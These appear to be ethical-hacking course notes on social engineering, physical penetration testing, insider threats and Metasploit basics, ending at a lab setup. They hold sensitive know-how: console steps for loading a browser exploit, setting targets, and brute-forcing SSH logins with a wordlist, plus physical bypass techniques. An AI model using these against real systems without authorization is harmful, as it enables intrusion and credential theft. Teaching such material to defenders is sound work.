risk for specific types of attacks, while also identifying which employees require additional training.
 Start a security awareness training program, which can go a long way toward preventing social
engineering attacks. If users know what social engineering attacks look like, they will be less likely to
become victims.
 Implement secure email and web gateways to scan emails for malicious links and filter them out, thus
reducing the likelihood that a staff member will click on one.
 Keep antimalware and antivirus software up to date to help prevent malware in phishing emails from
installing itself.
 Stay up to date with software and firmware patches on endpoints.

Phishi
ng, social engineering, password hygiene and secure remote work practices are essential cybersecurity
training topics.
 Keep track of staff members who handle sensitive information, and enable advanced authentication
measures for them.
 Implement 2FA to access key accounts, e.g., a confirmation code via text message or voice
recognition.
  Ensure employees don't reuse the same passwords for personal and work accounts. If a hacker
perpetrating a social engineering attack gets the password for an employee's social media account, the
hacker could also gain access to the employee's work accounts.
 Implement spam filters to determine which emails are likely to be spam. A spam filter might have a
blacklist of suspicious Internet Protocol addresses or sender IDs, or they might detect suspicious files
or links, as well as analyze the content of emails to determine which may be fake.

conducting a social engineering attack:

A social engineering attack typically follows a series of steps to manipulate the target successfully. Below
is a general outline of how a social engineering attack might work:

1. Research and Target Selection: The attacker begins by gathering information about the target, whether
it's an individual or an organization. They might use publicly available information from social media,
online profiles, or other sources to identify potential weaknesses or points of entry.
2. Establishing Trust: To increase the chances of success, the attacker may establish trust with the target.
This can be achieved by posing as someone the target knows or trusts, such as a colleague, friend, or
service provider.
3. Creating a Pretext: The attacker devises a convincing reason or pretext for contacting the target. This
could be a problem that requires urgent attention, a special offer, or some other enticing scenario to
prompt the target to engage.
4. Contacting the Target: The attacker reaches out to the target using various means, such as email, phone
calls, or messages. They may impersonate a trusted entity, create a sense of urgency, or use emotional
manipulation to influence the target's decision-making.
5. Exploiting Human Psychology: Social engineers use psychological techniques like fear, curiosity,
greed, or helpfulness to manipulate the target's emotions and influence their actions. They might also
leverage authority or familiarity to convince the target to comply.
6. Extracting Information or Actions: Once the attacker gains the target's trust and attention, they attempt
to extract sensitive information, such as login credentials, financial details, or personal data.
Alternatively, they may convince the target to perform specific actions, such as clicking on a malicious
link, downloading malware, or providing access to a secured area.
7. Covering Tracks (Optional): In some cases, the attacker may take steps to cover their tracks or ensure
they remain anonymous, making it harder to trace the attack back to them.
8. Achieving the Objective: The ultimate goal of the social engineering attack could be to gain
unauthorized access to systems, steal sensitive data, distribute malware, or achieve other malicious
outcomes.

It's important to note that social engineering attacks can vary greatly in sophistication and complexity.
Some attacks may be relatively straightforward, while others can involve intricate schemes and multiple
stages. Additionally, social engineering attacks can target individuals or entire organizations, making
them a significant threat to information security across various sectors. Vigilance, education, and
awareness are key components in defending against social engineering attacks.

common attacks used in penetration testing:

 Penetration testing, also known as ethical hacking, is a process where cybersecurity professionals
simulate attacks on systems, networks, or applications to identify security vulnerabilities and weaknesses.
The goal is to uncover potential issues before malicious attackers can exploit them. Here are some
common types of attacks used in penetration testing:

1. Phishing Attacks: Simulating phishing emails or messages to test if employees can identify and avoid
clicking on malicious links or providing sensitive information.
2. Password Cracking: Attempting to crack weak or leaked passwords to assess the strength of the
authentication mechanism.
3. Brute-Force Attacks: Trying all possible combinations of characters to gain unauthorized access,
typically used against login credentials or encryption keys.
4. SQL Injection (SQLi): Injecting malicious SQL code into a web application to exploit vulnerabilities in
the database and gain unauthorized access to data.
5. Cross-Site Scripting (XSS): Inserting malicious scripts into web pages viewed by other users to steal
information or hijack sessions.
6. Cross-Site Request Forgery (CSRF): Forging requests that execute unwanted actions on behalf of an
authenticated user.
7. Buffer Overflow Attacks: Overloading a system's buffer to execute arbitrary code and gain control over
the system.
8. Man-in-the-Middle (MITM) Attacks: Intercepting communication between two parties to eavesdrop,
modify, or impersonate the communication.
9. Denial-of-Service (DoS) and Distributed Denial-of-Service (DDoS): Flooding a system, service, or
network to make it unavailable to legitimate users.
10. Session Hijacking: Stealing an authenticated user's session token to gain unauthorized access to their
account.
11. Wireless Attacks: Exploiting vulnerabilities in wireless networks, such as Wi-Fi, to gain unauthorized
access.
12. Physical Security Attacks: Attempting unauthorized access to physical locations, systems, or devices,
like gaining access to a restricted area.
13. Social Engineering: Manipulating individuals through deception to reveal sensitive information or
perform certain actions.
14. DNS Spoofing and Cache Poisoning: Tampering with DNS records to redirect users to malicious
websites.
15. Malware Injection: Injecting malware, such as viruses, trojans, or ransomware, into a system to assess
security measures and responses.

It's essential to conduct penetration testing with proper authorization and within a controlled environment
to avoid any harm to real systems or data. Always work with qualified and certified penetration testers or
ethical hackers to ensure a comprehensive and safe testing process.

preparing yourself for face-to-face attacks:

Preparing yourself for face-to-face attacks in hacking, also known as physical security testing or social
engineering, involves understanding how attackers might attempt to exploit human vulnerabilities to gain
access to sensitive information or physical locations. Here are some tips for enhancing your defenses
against face-to-face attacks:

1. Employee Training and Awareness: Train employees to recognize and report suspicious behavior.
Conduct regular security awareness sessions to educate them about the risks of social engineering and
how to respond appropriately.
2. Phishing Awareness: Teach employees to be cautious about sharing sensitive information, such as
passwords or account details, even if the request seems legitimate.
3. Verify Identity: Encourage a culture of verifying identities before granting access to sensitive areas or
providing information. Use a "need-to-know" and "least privilege" approach when granting access.
4. Secure Physical Access Points: Implement strict physical access controls to sensitive areas, such as data
centers, server rooms, or executive offices. Use security measures like access cards, biometric
authentication, and security personnel.
5. Tailgating Prevention: Train employees to prevent tailgating, where unauthorized individuals follow an
authorized person to gain entry to restricted areas. Use turnstiles or mantraps to control physical access.
6. Visitor Management: Implement a visitor management system that requires all visitors to sign in, wear
visible identification badges, and be escorted when necessary.
7. Clean Desk Policy: Enforce a clean desk policy to ensure that sensitive documents and information are
not left unattended.
8. Physical Security Audits: Conduct regular physical security audits to identify and address vulnerabilities
in your organization's physical security measures.
9. Social Media Awareness: Encourage employees to be cautious about what they share on social media
platforms, as attackers can use this information for targeted attacks.
10. Incident Response Plan: Develop and regularly test an incident response plan that includes procedures
for dealing with physical security breaches and social engineering incidents.
11. Red Team Exercises: Engage in red team exercises where ethical hackers simulate face-to-face attacks
to identify weaknesses in your organization's defenses.
12. Background Checks: Conduct thorough background checks on employees, contractors, and vendors who
have access to sensitive areas or information.
13. Encourage Reporting: Create a culture where employees feel comfortable reporting suspicious incidents
or attempts at social engineering.
14. Executive and VIP Protection: Implement additional security measures for executives and VIPs to
prevent targeted attacks.

Remember, face-to-face attacks often involve exploiting human psychology, trust, and social interactions.
By raising awareness, educating your staff, and implementing robust physical security measures, you can
significantly reduce the risk of falling victim to such attacks.

defending against social engineering attacks:

Defending against social engineering attacks requires a combination of technical measures, employee
training, and organizational policies. Here are some effective strategies to enhance your defenses:

1. Security Awareness Training: Educate employees about the different types of social engineering attacks
and how to recognize and respond to them. Regular training sessions can help employees become more
vigilant and cautious.
2. Phishing Email Protection: Implement robust email security measures to detect and block phishing
emails. Use email filters and anti-phishing software to identify and quarantine suspicious messages.
3. Multifactor Authentication (MFA): Enforce MFA for accessing sensitive systems and applications.
This additional layer of security helps prevent unauthorized access even if credentials are compromised.
4. Access Controls and Least Privilege: Limit user access to only the resources they need to perform their
job (least privilege). This reduces the impact of a successful social engineering attack.
5. Strict Password Policies: Enforce strong password policies, including regular password changes, to
prevent unauthorized access through password guessing or cracking.
6. Security Incident Reporting: Establish clear procedures for reporting any security incidents or
suspected social engineering attempts. Encourage employees to report any unusual requests or behaviors.
7. Verification of Requests: Encourage employees to verify unusual or sensitive requests by using
established communication channels or contacting the requester directly.
8. Physical Security Measures: Implement physical security controls, such as access cards, biometric
authentication, security cameras, and visitor management systems.
9. Clean Desk Policy: Enforce a clean desk policy to ensure that sensitive information is not left unattended
where it can be easily accessed by unauthorized individuals.
10. Security Updates and Patches: Keep all systems, applications, and devices up to date with the latest
security patches and updates to prevent exploitation of known vulnerabilities.
11. Social Media Awareness: Educate employees about the risks of sharing sensitive information on social
media and the potential for attackers to use this information in social engineering attacks.
12. Red Team Exercises: Conduct regular red team exercises to simulate social engineering attacks and
identify potential weaknesses in your organization's defenses.
13. Background Checks: Perform thorough background checks on employees, contractors, and vendors who
have access to sensitive information or critical systems.
14. Continuous Monitoring and Auditing: Regularly monitor and audit user activities, network traffic, and
access logs to detect any suspicious behavior or unauthorized access.
15. Cultivate a Security-Conscious Culture: Create a culture of security awareness, where all employees
understand the importance of security and are encouraged to be proactive in protecting sensitive
information.

By combining these measures, organizations can significantly reduce the risk of falling victim to social
engineering attacks and build a strong defense against such threats. Remember that cybersecurity is an
ongoing process, and it's essential to adapt and improve your defenses as new threats emerge.

Unit-2
Physical Penetration Attacks:
What is it?
A physical penetration test is an assessment of the physical security controls of an organization. Physical
security controls include locks, fences, security guards, cameras, and others. During a physical
penetration test, a skilled engineer will attempt to circumvent these controls and gain physical access to
restricted areas, identify sensitive information, and gain a foothold on the network.

What Types of Companies Typically Need Physical Penetration Tests?

There is a myriad of reasons why an organization may want to assess their physical security. Some
organizations who have had physical penetration tests performed include:

 Utility providers who want to evaluate the risk to substations or ICS/SCADA systems, etc.
 Healthcare call centers who want to evaluate whether customer health information can be obtained.
 Organizations seeking to justify an upgrade to their physical security or evaluate the effectiveness of
recent upgrades.
 Retailers who wish to evaluate the risk of an attacker at a store or branch location.

What are Some of the Techniques used in a Physical Penetration Test?

While this list is not all-encompassing, some of the techniques that an engineer may use on a physical
penetration test include:
 RFID-Cloning – Using an RFID-cloner, the engineer will attempt to get close enough to employee’s
badges to read and copy them. Once a valid card is obtained, the engineer will use it to attempt to
gain access to the facility.
 Tailgating – Tailgating simply means using social engineering to try to get an employee to hold the
door open for you or just grab the door before it closes. This works far more often than it should.
 Circumventing access controls – Many times, other techniques are used to gain access such as
crawling under or over fences, using a metal rod to reach under the door and pull the handle, etc.
 Lock Picking – Most modern doors have protections that make it difficult to pick the lock and gain
access. However, many times shredding services do not, and gaining access to shred bins can be
relatively easy and fruitful for an attacker.
Why a physical penetration is important

1. Prevent the organization from infiltrators

They are simulated intrusion attempts by real hackers that can significantly help to evaluate physical
security infrastructure. In addition, it helps identify the loopholes so that the organization can remediate
them before an attack occurs.

2. Avoid Data breaches and financial damage

Performing them can be a proactive way to strengthen organizational security. They can reduce the
chances of data breaches or cyber-attacks as weak physical security may be a starting point for most cyber
attacks. Any cyber-attack can hurt the organization’s reputation and incur unanticipated penalties and
fines leading to financial damage.

3. Mature the environment

They can be a great way to maintain a competitive advantage against other organizations.

4. Identify the root cause of physical risks

They help an organization evaluate its physical controls and identify any loopholes. But, unfortunately,
they pose a risk to organizational security and are the root cause of most cyberattacks.

5. Gain Client confidence

Clients’ confidence is boosted by knowing that the organizations they are working with are more aware
than their competitors, reducing the chances of any cyberattacks. Many more clients may want to work
with an organization that is more secure than the rest.

conducting a physical penetration:

Step 1: Scope and Pre-Engagement

Before starting a physical penetration test, it’s essential to define the scope of the test and obtain
permission from the facility owner. This should include an agreement on the areas to be tested, the scope
of the testing, and the rules of engagement. Once the scope is defined, the physical penetration tester will
perform an initial reconnaissance to identify potential vulnerabilities and weaknesses in the security
measures. This can involve reviewing blueprints and maps, analyzing the layout of the facility, and
observing employee behavior and routines.

Step 2: Information Gathering

The next step is to gather information about the target facility’s physical security controls. This can
include reviewing security policies and procedures, analyzing access control systems, and identifying
potential access points. During this phase, the tester may use tools such as binoculars, cameras, and audio
recording devices to collect information about the facility’s security measures.

Step 3: Social Engineering

Social engineering is a critical component of physical penetration testing, and it involves using
psychological manipulation to gain access to restricted areas. The tester may use various techniques such
as impersonation, pretexting, and tailgating to gain access to restricted areas. Social engineering can be
one of the most effective ways to gain access to sensitive areas, as it relies on human weaknesses rather
than technical vulnerabilities.

Step 4: Physical Intrusion

Once the tester has identified potential vulnerabilities and weaknesses, the next step is to attempt physical
intrusion. This can include picking locks, bypassing security cameras, or using brute force to open doors
or windows. The tester may use specialized tools such as lock picks, bump keys, and shim tools to bypass
physical security controls. The goal of this phase is to gain access to sensitive areas, such as data centers
or executive offices, without being detected.

Step 5: Post-Exploitation

After successfully penetrating the target facility, the tester will document their findings and attempt to
escalate their access to gain further privileges. This may involve using privilege escalation techniques to
gain administrative access to servers, accessing confidential data, or attempting to pivot to other systems
within the facility. The tester will document their findings and provide recommendations for improving
physical security controls.

Step 6: Reporting and Remediation

The final step is to prepare a report detailing the findings of the physical penetration test and providing
recommendations for improving physical security controls. The report should include a summary of the
vulnerabilities discovered, the steps taken to exploit them, and recommendations for mitigating the
vulnerabilities. The report should also include any photos, videos, or other documentation collected
during the test. Once the report is submitted, the facility owner should take steps to remediate the
vulnerabilities identified during the test.

Tips for conducting a physical penetration test:

1. Use a variety of tools and techniques to identify vulnerabilities and weaknesses.

2. Follow safety protocols and use appropriate safety equipment.
3. Use non-destructive methods to bypass security controls whenever possible.
 4. Be discreet and avoid drawing attention to yourself.
5. Document everything, including vulnerabilities discovered, techniques used, and recommendations for
improving security controls.
6. Follow up and retest periodically to ensure that recommended security improvements have been
implemented and to identify any new vulnerabilities that may have emerged.

Common ways into a building:

Penetration testing stages

The pen testing process can be broken down into five stages.

1. Planning and reconnaissance

The first stage involves:

 Defining the scope and goals of a test, including the systems to be addressed and the testing methods to
be used.
 Gathering intelligence (e.g., network and domain names, mail server) to better understand how a target
works and its potential vulnerabilities.

2. Scanning
The next step is to understand how the target application will respond to various intrusion attempts. This
is typically done using:

 Static analysis – Inspecting an application’s code to estimate the way it behaves while running. These
tools can scan the entirety of the code in a single pass.
 Dynamic analysis – Inspecting an application’s code in a running state. This is a more practical way of
scanning, as it provides a real-time view into an application’s performance.
 3. Gaining Access
This stage uses web application attacks, such as cross-site scripting, SQL injection and backdoors, to
uncover a target’s vulnerabilities. Testers then try and exploit these vulnerabilities, typically by escalating
privileges, stealing data, intercepting traffic, etc., to understand the damage they can cause.

4. Maintaining access
The goal of this stage is to see if the vulnerability can be used to achieve a persistent presence in the
exploited system— long enough for a bad actor to gain in-depth access. The idea is to imitate advanced
persistent threats, which often remain in a system for months in order to steal an organization’s most
sensitive data.

5. Analysis
The results of the penetration test are then compiled into a report detailing:

 Specific vulnerabilities that were exploited

 Sensitive data that was accessed
 The amount of time the pen tester was able to remain in the system undetected

This information is analyzed by security personnel to help configure an enterprise’s WAF settings and
other application security solutions to patch vulnerabilities and protect against future attacks.

Defending against physical penetrations:

In order to strongly defend against a physical penetration, the target organization must teach its
employees about the threat and tutor them how best to deal with it. Data thefts usually are not reported
because the victim organizations try to evade bad press, in which situations the full extent of the threat is
not experienced by the people handling the data.

Additionally, employees usually don’t understand the value of the data they handle. The mixture of
hidden threat and unperceived value makes training in this section critically important for a successful
policy and procedure program.

Maybe the only most efficient policy to ensure that an intruder is noticed is one that needs employees to
report or investigate about someone they don’t know. Even employees at very large organizations face a
regular group of people on a daily basis. If a policy of investigating about unknown faces can be
performed, even if they have a badge, it will make a successful intrusion much more hard.

This is not to say that an employee should directly confront a person who is unknown to them, as they
may really be a dangerous intruder. That’s the job of the organization’s security department.

Additional measures that can help decrease physical intrusions include the following:
• Key card turnstiles
• Photo identification checkpoints
• Locked loading area doors, provided with doorbells for deliveries
• Compulsory key swipe on entry points.
• Rotation of guest badge markings everyday
• Security camera systems
 Insider Attacks: Conducting an insider attack

An insider attack refers to a security breach or malicious activity that is carried out by someone who has
authorized access to an organization's systems, network, or sensitive information. This person could be an
employee, contractor, vendor, or any individual with legitimate access privileges. Insider attacks are
particularly concerning because the attacker has a level of trust and familiarity with the organization's
internal environment, making them potentially harder to detect.

Insider attacks can be categorized into two main types:

1. Malicious Insider Attacks: These are intentional attacks conducted by individuals with malicious intent.
They may be disgruntled employees seeking revenge, insiders looking to steal valuable information for
personal gain or to sell to competitors, or those coerced or bribed by external entities.
2. Accidental Insider Attacks: In this case, insiders unknowingly cause security breaches or leaks by
making mistakes or errors. These actions may be due to insufficient security awareness or accidental
sharing of sensitive information.

Common examples of insider attacks include:

 Data Theft: Employees or insiders stealing sensitive information, such as customer data, intellectual
property, or financial records, for personal gain or to sell to competitors.
 Sabotage: Deliberate attempts by insiders to disrupt operations, delete data, or cause harm to the
organization's infrastructure.
 Fraud: Insiders manipulating financial records or engaging in fraudulent activities to embezzle money or
misrepresent financial status.
 Unauthorized Access: Insiders using their legitimate access to gain unauthorized entry to restricted areas
or systems.
 Social Engineering by Insiders: Insiders may use social engineering techniques to trick colleagues into
revealing sensitive information or providing access to resources.

Defending against insider attacks requires a multi-layered approach that includes:

1. Access Controls: Implement strong access controls to limit the access privileges of employees based on
their roles and responsibilities.
2. Monitoring and Auditing: Regularly monitor and audit user activities and system logs to detect unusual
or suspicious behavior.
3. Employee Training and Awareness: Provide comprehensive security awareness training to employees
to help them recognize and report suspicious activities.
4. Data Loss Prevention (DLP): Implement DLP solutions to prevent the unauthorized exfiltration of
sensitive data.
5. User Behavior Analytics (UBA): Employ UBA tools that can detect abnormal patterns of behavior
among users.
6. Incident Response Plan: Develop a robust incident response plan that includes procedures for handling
insider threats and security breaches.
7. Employee Background Checks: Conduct thorough background checks on employees, contractors, and
vendors who have access to sensitive information or critical systems.
8. Physical Security Measures: Implement physical security controls to prevent unauthorized access to
facilities and sensitive areas.
Remember, insider attacks can be highly damaging to an organization, and it's crucial to be proactive in
preventing and detecting such threats. It's essential to foster a security-conscious culture within the
organization and promote a sense of responsibility among employees for safeguarding sensitive
information and resources.

Defending against insider attacks:

8 critical considerations for defending against insider threats

1. Form a planning team — Assemble a team with diverse expertise across security, IT, Legal,
Human Resources, and executive units, including a Data Privacy Officer (DPO) if you have
one, to develop informed policies and practical procedures for your organization’s insider
threat program.
2. Determine critical assets — Identify and prioritize both virtual and physical assets, such as
internal documentation, key cards, product prototypes, SaaS applications, and on-premises
employee data. Create watchlists of high-criticality services and ensure the highest coverage for
your most sensitive assets.
3. Perform a threat risk assessment — Conduct an assessment of your operations to identify
security gaps that need to be addressed. This includes auditing system configurations,
confirming settings, performing penetration testing, and testing your ability to identify
suspicious patterns of behavior.
4. Conduct employee background checks — Perform background checks to assess the risk
posed by employees. Keep in mind that background checks can sometimes turn up falsely
attributed information.
5. Implement and maintain information security controls — Limit user access to data based
on job requirements and restrict access to sensitive data through access policies and encryption.
6. Build insider threat use cases — Document use cases for common issues and create
procedures for protective monitoring during high-risk periods, such as employee resignations or
terminations.
7. Pilot, evaluate, and select modern monitoring and detection tools — Adopt comprehensive
monitoring tools with behavioral analytics features that can perform end-to-end tracking of user
activity and provide real-time visibility.
8. Audit your existing insider threat initiatives — Periodically audit your tooling, permissions,
and procedures to account for changes in systems, staffing, and threats. Update your program
accordingly to prevent repeat incidents.

Metasploit: The Big Picture

A Brief History of Metasploit

Metasploit was conceived and developed by H D Moore in October 2003 as a Perl-based portable
network tool for the creation and development of exploits. By 2007, the framework was entirely rewritten
in Ruby. In 2009, Rapid7 acquired the Metasploit project, and the framework gained popularity as an
emerging information security tool to test the vulnerability of computer systems. Metasploit 4.0 was
released in August 2011 and includes tools that discover software vulnerabilities besides exploits for
known bugs.

What Is Metasploit, and How Does It Work?

Metasploit is the world’s leading open-source penetrating framework used by security engineers as a
penetration testing system and a development platform that allows to create security tools and exploits.
The framework makes hacking simple for both attackers and defenders.

The various tools, libraries, user interfaces, and modules of Metasploit allow a user to configure an
exploit module, pair with a payload, point at a target, and launch at the target system. Metasploit’s large
and extensive database houses hundreds of exploits and several payload options.

A Metasploit penetration test begins with the information gathering phase, wherein Matsploit integrates
with various reconnaissance tools like Nmap, SNMP scanning, and Windows patch enumeration, and
Nessus to find the vulnerable spot in your system. Once the weakness is identified, choose an exploit and
payload to penetrate the chink in the armor. If the exploit is successful, the payload gets executed at the
target, and the user gets a shell to interact with the payload. One of the most popular payloads to attack
Windows systems is Meterpreter – an in-memory-only interactive shell. Once on the target machine,
Metasploit offers various exploitation tools for privilege escalation, packet sniffing, pass the hash,
keyloggers, screen capture, plus pivoting tools. Users can also set up a persistent backdoor if the target
machine gets rebooted.

The extensive features available in Metasploit are modular and extensible, making it easy to configure as
per every user requirement.

What Is the Purpose of Metasploit?

Metasploit is a powerful tool used by network security professionals to do penetration tests, by system
administrators to test patch installations, by product vendors to implement regression testing, and by
security engineers across industries. The purpose of Metasploit is to help users identify where they are
most likely to face attacks by hackers and proactively mend those weaknesses before exploitation by
hackers.

Who Uses Metasploit?

With the wide range of applications and open-source availability that Metasploit offers, the framework is
used by professionals in development, security, and operations to hackers. The framework is popular with
hackers and easily available, making it an easy to install, reliable tool for security professionals to be
familiar with even if they don’t need to use it.
 Metasploit Uses and Benefits

Metasploit provides you with varied use cases, and its benefits include:

 Open Source and Actively Developed – Metasploit is preferred to other highly paid penetration testing
tools because it allows accessing its source code and adding specific custom modules.
 Ease of Use – it is easy to use Metasploit while conducting a large network penetration test. Metasploit
conducts automated tests on all systems in order to exploit the vulnerability.
 Easy Switching Between Payloads – the set payload command allows easy, quick access to switch
payloads. It becomes easy to change the meterpreter or shell-based access into a specific operation.
 Cleaner Exits – Metasploit allows a clean exit from the target system it has compromised.
 Friendly GUI Environment – friendly GUI and third-party interfaces facilitate the penetrate testing
project.

What Tools Are Used in Metasploit?

Metasploit tools make penetration testing work faster and smoother for security pros and hackers. Some
of the main tools are Aircrack, Metasploit unleashed, Wireshark, Ettercap, Netsparker, Kali, etc.

Getting Metasploit

Getting Started
Before we start Metasploit, we should start the postgresql database. Metasploit will work without
postgresql, but this database enables Metasploit to run faster searches and store the information you
collect while scanning and exploiting.
Start the postgresql database before starting Metasploit by typing;

kali > sudo systemctl start postgresql

Note: In the latest versions of starting with Kali Linux 2020, you can not run commands that require root
privileges without preceding the commands with sudo.

Next, if this is the first time running Metasploit, you must initialize the database.

kali >sudo msfdb init

Once the database has been initialized, you can start the Metasploit Framework console by typing;
kali >msfconsole
As Metasploit loads everything into RAM, it can take awhile (it's much faster in Metasploit 5).

Don't worry if it doesn't look exactly the same as my screen above as Metasploit rotates the opening
splash images. As long as you have the msf5 > prompt, you are in the right place.

This starts the Metasploit console, a kind of interactive console.

If you are more GUI oriented, you can go to Kali icon-->Exploitation Tools--> metasploit framework
like below.
Metasploit Keywords
Although Metasploit is a very powerful exploitation framework, just a few keywords can get you started
hacking just about any system.
Metasploit has six (7) types of modules;
(1) exploits
(2) payloads
(3) auxiliary
(4) nops
(5) post
(6) encoders
(7) evasion (new in Metasploit 5)
A word about terminology though before we start. In Metasploit terminology, an exploit is a module that
takes advantage of a system or application vulnerability. It usually will attempt to place a payload on the
system. This payload can be a simple command shell or the all-powerful, Meterpreter. In other
environments these payloads might be termed listeners, shellcode, or rootkits. You can read more about
the different types of payloads in Metasploit Basics, Part3: Payloads
Let's take a look at some of those keyword commands. We can get a list of commands by entering help at
the metasploit (msf5>) prompt.

msf > help

Note that we can access this help menu with the "?" as well as "help".
msf > use
The "use" command loads a module. So, for instance, if I wanted to load the
exploit/windows/browser/adobe_flash_avm2 module (this is an exploit that takes advantage of one of
the many vulnerabilities in the Adobe Flash plug-in), I would enter;
msf > use exploit/windows/browser/adobe_flash_avm2

As you can see above, when Metasploit successfully loads the module, it responds with the type of
module (exploit) and the abbreviated module name in red.

msf> show
After you load a module, the show command can be very useful to gather more information on the
module. The three "show" commands I use most often are "show options", "show payloads" and "show
targets". Let's take a look at "show payloads" first.
msf > show payloads
This command, when used after selecting your exploit, will show you all the payloads that are
compatible with this exploit (note the column heading "Compatible Payloads"). If you run this command
before selecting an exploit, it will show you ALL payloads, a VERY long list. As you see in the
screenshot above, the show payloads command listed all the payloads that will work with this exploit.
msf > show options

This command is also very useful in running an exploit. It will display all of the options that need to set
before running the module. These options include such things as IP addresses, URI path, the port, etc.
msf > show targets
A less commonly used command is "show targets". Each exploit has a list of the targets it will work
against. By using the "show targets" command, we can get a list of them. In this case, targeting is
automatic, but some exploits have as many as 100 different targets (different operating systems, service
packs, languages, etc.) and success will often depend upon selecting the appropriate one. These targets
can be defined by operating system, service pack and language, among other things.

msf > info

The info command is simple. When you type it after you have selected a module, it shows you key
information about the module, including the options that need to be set, the amount of payload space
(more about this in the payloads section), and a description of the module. I usually always run it after
selecting my exploit.
msf > search
As a newcomer to Metasploit, the "search" command might be the most useful. When Metasploit was
small and new, it was relatively easy to find the right module you needed. Now, with over 3000 modules,
finding just the right module can be time-consuming and problematic. Rapid7 added the search function
starting with version 4 and it has become a time- and life-saver.

Although you can use the search function to search for keywords in the name or description of the module
(including CVE or MS vulnerability number), that approach is not always efficient as it will often return a
VERY large result set.
To be more specific in your search, you can use the following keywords.
platform - this is the operating system that the module is built for type - this is the type of module. These
include exploits, nops, payloads, post, encoders, evasion and auxiliary name - if you know the name of
the module you can search by its name
The syntax for using search is the keyword followed by a colon and then a value such as;
msf > search type:exploit For instance, if you were looking for an exploit (type) for Windows (platform)
for Abobe Flash, we could type;

msf > search type:exploit platform:windows flash

As you can see above, Metasploit searched it's database for modules that were exploits for the Windows
platform and included the keyword "flash".
msf > set
This command is use to set options within the module you selected. For instance, if we look above at the
show options command, we can see numerous options that must set such as URIPATH, SVRHOST and
SVRPORT. We can set any of these with the set command such as;

msf > set SRVPORT 80

This changes the default SVRPORT (server port) from 8080 to 80.
msf > unset
This command, as you might expect, unsets the option that was previously set. Such as;
msf > unset SRVPORT

As you can see, we first set the SRVPORT variable to 80 and then unset it. It then reverted back to the
default value of 8080 that we can see when we typed show options again.
msf > exploit

Once we have loaded our exploit and set all the necessary options, the final action is "exploit". This sends
the exploit to the target system and, if successful, installs the payload. As you can see in this screenshot,
the exploit starts and is running as background job with a reverse handler on port 4444. It then started a
webserver on host 0.0.0.0 on port 80 with a randomized URL (F5pmyl9gCHVGw90). We could have
chosen a specific URL and set it by changing the URIPATH variable with the set command.

msf > back

We can use the back command to take us "back" one step in our process. So, if you instance, we decided
that we did not want to use the adobe/flash/avm2 exploit, we could type "back" and it would remove the
loaded exploit.
msf > exit

The exit command, as you would expect, exits us from the msfconsole and back into the BASH command
shell.
Notice that in this case, it stops the webserver that we created in this exploit and returned us to the Kali
command prompt in the BASH shell.
In many exploits, you will see the following options (variables).
RHOSTS - this is the remote host(s) or target IP(s) LHOST - this is the local host or attacker IP RPORT
- this is the remote port or target port LPORT - this is the local port or attacker port
These can all be set, by using the SET command followed by the variable name (RHOST, for instance)
and then the value.
msf > SET RHOST 75.75.75.75
Although this is less than an exhaustive list of Metasploit commands, with just these commands you
should be able to execute most of the functions in Metasploit. When you need another command in this
course, I will take a few minutes to introduce it, but these are all you will likely need, for now .

Using the Metasploit Console to Launch Exploits:

HOW TO SETUP METASPLOIT?

Setup your metasploit

You get metasploit by default with kali linux . Also you can install it using the following commands.

Since Metasploit depends on PostgreSQL for database connection, to install it on Debian/Ubuntu based
systems run:

apt install postgresql

You can download and install metasploit from: https://github.com/rapid7/metasploit-framework

After installation our task is to setup and run metasploit for that we can use following commands:

1. First we’ll start the PostgreSQL database service by running the following command:

/etc/init.d/postgresql start

Or

service postgresql start

2. To create the database run:

msfdb init

3. Now we’re good to go , run metasploit using following command:

msfconsole

4. After running you’ll get a msf > prompt

Type db_status to check if services are running fine .

How to load and use exploit in metasploit.

To find an exploit we use “search” command.

Metasploit fetches a list of relevant exploit to use alongwith its description.

Let we choose one to bruteforce ssh login, i.e, exploit no.17.
To use an exploit we have “use” command.
We can use either path or exploit no.
Command > use 17

It will load the exploit as use see in screenshot i.e,auxillary(scanner/ssh/ssh_login).

“Show options” command will show all the options with proper description.
We will use “set” command to change current settings.
Rhosts is the victim ip and username is the default username.

Pass_file set password wordlist use to bruteforce.

Verbose will print all the output(Failed and Success).

“Exploit” command will use current settings to bruteforce.

 And finally we get the password and are able to login using this
password.

Exploiting Client-Side Vulnerabilities with Metasploit:

Exploiting client-side vulnerabilities with Metasploit is a common technique used in penetration testing
and ethical hacking to gain access to a target system through a vulnerable client application. Client-side
vulnerabilities typically involve weaknesses in software that runs on the client-side, such as web
browsers, email clients, document viewers, or other applications that interact with the user.

Here's an overview of how to exploit client-side vulnerabilities with Metasploit:

1. Identify Vulnerabilities: The first step is to identify client-side vulnerabilities in the target system's
software. This can be done through various means, such as vulnerability scanning, web application
assessments, or manual analysis. Vulnerabilities like unpatched software, buffer overflows, and code
execution flaws are often targeted.
2. Search for Appropriate Exploits: After identifying the vulnerable client-side software, use the
Metasploit Console to search for exploits that target those specific vulnerabilities. You can use the search
command with relevant keywords to find suitable exploits.
3. Select the Exploit: Once you find an appropriate exploit, use the use command to select it. For example:

use exploit/windows/browser/<exploit_name>
4. Set Exploit Options: After selecting the exploit, view the available options using the show options
command. Set the required options using the set command. These options typically include the target IP
address, target port, and the payload to be delivered.
5. Configure Payload: Select a payload that matches the target system and your objective. Common
payloads for client-side exploits include meterpreter shells, which provide powerful post-exploitation
capabilities. Set the payload using the set PAYLOAD command.
6. Set Payload Options: Similar to exploit options, you may need to configure payload-specific options
using the show payload options and set commands.
7. Exploit the Vulnerability: With all the required options set, use the exploit command to launch the
attack. Metasploit will attempt to exploit the client-side vulnerability and deliver the chosen payload to
the target system.
8. Establish Post-Exploitation: If the exploit is successful, you may have gained access to the target
system. At this point, you can use the meterpreter shell or other post-exploitation modules to perform
various actions, such as gathering information, elevating privileges, or pivoting to other systems.

It's crucial to remember that exploiting client-side vulnerabilities on systems without proper authorization
is illegal and unethical. Always obtain explicit permission before conducting any penetration testing
activities. Additionally, keep your Metasploit and other security tools up to date, as new vulnerabilities
and exploits are constantly being discovered and patched. Responsible and ethical use of tools like
Metasploit is essential for maintaining a secure and trustworthy cybersecurity environment.

Penetration Testing with Metasploit’s Meterpreter:

Pen Testing using Metasploit

Here is the demonstration of pen testing a vulnerable target system using Metasploit with detailed steps.

Victim Machine
OS: Microsoft Windows Server 2003
IP: IP: 192.168.42.129

Attacker (Our) Machine

OS: Backtrack 5
Kernel version: Linux bt 2.6.38 #1 SMP Thu Mar 17 20:52:18 EDT 2011 i686 GNU/Linux
Metasploit Version: Built in version of metasploit 3.8.0-dev
